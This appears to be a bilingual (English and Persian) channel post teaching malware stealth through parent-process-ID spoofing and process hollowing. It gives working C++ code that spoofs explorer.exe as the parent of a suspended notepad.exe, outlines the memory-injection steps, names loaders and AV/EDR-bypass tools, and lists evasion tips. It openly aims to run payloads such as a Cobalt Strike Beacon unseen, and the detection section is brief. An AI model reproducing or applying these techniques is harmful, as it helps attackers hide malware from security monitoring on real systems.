Malware spoofed to look like it was spawned by explorer.exe? Looks clean





⚒️ How Do You Perform PPID Spoofing?

You need to use the CreateProcess API — but with a trick:

1 🔍 First, locate the process handle of the parent you want (e.g. explorer.exe)


2 🛠️ Build a STARTUPINFOEX structure with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS


3 📎 Use CreateProcess with that attribute to spoof the parent






🧪 Example (C++-like):

STARTUPINFOEX siex = { sizeof(siex) };
InitializeProcThreadAttributeList(...);
UpdateProcThreadAttribute(..., PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, ...);
CreateProcess(..., &siex, ...);

📌 Bonus: Tools like PPID Spoof by @3xpl01t automate this process.




🎯 Advanced Usage?

Combine PPID spoofing with:

Process Hollowing

Shellcode Injection

Encrypted payloads


→ Create malware that’s invisible and believable to the EDR.




🧪 Detection? Still Hard

It’s tricky, but here are a few methods:

🧬 Trace parent-child process chains using tools like Process Explorer

⏱️ Check for timestamp inconsistencies

🤖 Behavior monitoring: e.g., explorer.exe shouldn’t be spawning rundll32.exe!





🧠 Summary:

Parent PID Spoofing = Faking your parent to bypass behavioral analysis systems.

🔐 Clean, no direct injection required, and very effective —
especially when you want to live inside the system but stay invisible in logs
3
? PPID Spoofing+ Process Hollowing

«وقتی قراره یه Payload رو توی لباس یه برنامه بی‌گناه اجرا کنی!» 🎭💉




🎯 PPID Spoofing یعنی چی؟

PPID (Parent Process ID) یعنی آیدی پروسه‌ای که پروسه‌ی جدید از دلش زاییده شده.

🧠 آنتی‌ویروس‌ها و EDRها از این استفاده می‌کنن که بفهمن:

چه کسی کیو اجرا کرده؟

آیا مثلاً notepad.exe واقعاً توسط Explorer اجرا شده؟

یا یه ابزار مشکوک با شبیه‌سازی اون رو اجرا کرده؟





🕵️ هدف PPID Spoofing

ما می‌خوایم مثلاً یه backdoor مثل evil.exe بسازیم که به‌جای اینکه مستقیم اجرا شه، با PPID پدر بی‌گناه مثل Explorer اجرا شه

این کار:

شک EDR رو کم می‌کنه

گراف Process Tree تمیز می‌مونه

باعث می‌شه ابزارهایی مثل Sysmon/EDR کمتر هشدار بدن





💉 Process Hollowing چیه؟

تو این تکنیک:

1 یه پروسه بی‌گناه مثل notepad.exe یا svchost.exe میسازی (suspended)


2 حافظه‌شو پاک می‌کنی (Unmap Section)


3 Shellcode یا فایل اجرایی خودتو inject می‌کنی


4 پروسه رو Resume می‌کنی



🎭 در ظاهر: یه نوت‌پد در حال اجراست
🧠 در واقع: بدافزار توش داره کار می‌کنه




🔧 PPID Spoofing در C++

STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(si);

// Parent handle
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorerPID);

// Attribute list
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(HANDLE), NULL, NULL);

// ایجاد پروسه Suspended
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED, NULL, NULL, &si.StartupInfo, &pi);





🔬 حالا Hollowing کن:

// بخش‌های PE خودتو لود کن
// VirtualAllocEx → WriteProcessMemory → SetThreadContext → ResumeThread

// معمولا از Shellcode یا Loader استفاده می‌شه (مثلاً Meterpreter, Cobalt Strike Beacon)




🧪 ابزارهای آماده برای این کار:

ابزار توضیح

PPIDSpoof ساختن پروسه جدید با پدر جعلی

donut + hollowing اجرای فایل PE تو حافظه

Kraken / Tartarus Loader کامل با PPID Spoof + Hollowing

PEzor / ScareCrow ابزارهای AV/EDR Bypass با ساختارهای حرفه‌ای





🛡️ روش‌های مقابله با شناسایی EDR:

تکنیک کاربرد

🧠 انتخاب درست Parent (explorer.exe) شک برانگیز نیست
🔄 Thread Stack Spoof جعل Call Stack برای جلوگیری از تحلیل EDR

🔬 حذف Indicators مثل پاک‌کردن رشته‌های مشکوک از PE
اجرای تاخیری (sleep) جلوگیری از تشخیص رفتار سریع





📥 جمعبندی: ترکیب مرگبار stealth

PPID Spoof + Hollowing + DirectSyscall + AMSI Bypass + Unhook ntdll

→ یعنی آنتی‌ویروس فقط یه notepad.exe می‌بینه، ولی توش یه Cobalt Strike Beacon در حال کاره! 😈




🎭💉 PPID Spoofing + Process Hollowing

“When you run your payload disguised as an innocent process.”




🎯 What’s PPID Spoofing?

PPID (Parent Process ID) = The process ID of the parent that spawned a new process.

🧠 EDRs and AVs track who launched what.
For example:
Did notepad.exe really come from explorer.exe?
Or did a sketchy loader fake it?




🕵️ Goal of PPID Spoofing:

We want to launch something like evil.exe but make it look like it was spawned by a clean process — like explorer.exe.

Benefits:

Avoids EDR suspicion

Keeps the process tree clean

Tools like Sysmon or Defender don’t raise alerts





💉 What’s Process Hollowing?

A technique where:

1 You create a legit process (e.g., notepad.exe) in suspended mode


2 Wipe its memory (UnmapViewOfSection)


3 Inject your own shellcode or PE


4 Resume the process



🎭 On the surface: it’s just a Notepad
🧠 In reality: it’s your malware running inside




🔧 PPID Spoofing in C++

STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(si);

// Open parent (e.g., explorer.exe)
HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorerPID);
1🔥1
// Init attribute list
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);
UpdateProcThreadAttribute(
si.lpAttributeList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent, sizeof(HANDLE),
NULL, NULL
);

// Create suspended process
CreateProcessA(
"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT | CREATE_SUSPENDED,
NULL, NULL, &si.StartupInfo, &pi
);





🔬 Now Perform Hollowing:

Load your PE into memory

Use VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread

Usually inject a loader or shellcode (e.g., Meterpreter, Beacon)





🧪 Tools You Can Use:

Tool Purpose

PPIDSpoof Create new processes with spoofed parents
donut + hollowing Load PE in-memory
Kraken / Tartarus Full-featured loaders with PPID spoof + hollowing
PEzor / ScareCrow Advanced AV/EDR evasion loaders





🛡️ EDR Evasion Tips:

Technique Use

🧠 Smart Parent Choice (explorer.exe) Looks legit
🔄 Thread Stack Spoofing Fake call stacks to confuse EDR
🔬 Remove Indicators Strip suspicious strings from PE
Sleep Delays Avoid fast behavioral detection





📥 TL;DR – The Stealth Combo:

> PPID Spoof + Hollowing + Direct Syscalls + AMSI Bypass + Unhook ntdll



To the AV: it’s just notepad.exe
😈 In reality: it’s running a Cobalt Strike Beacon inside
3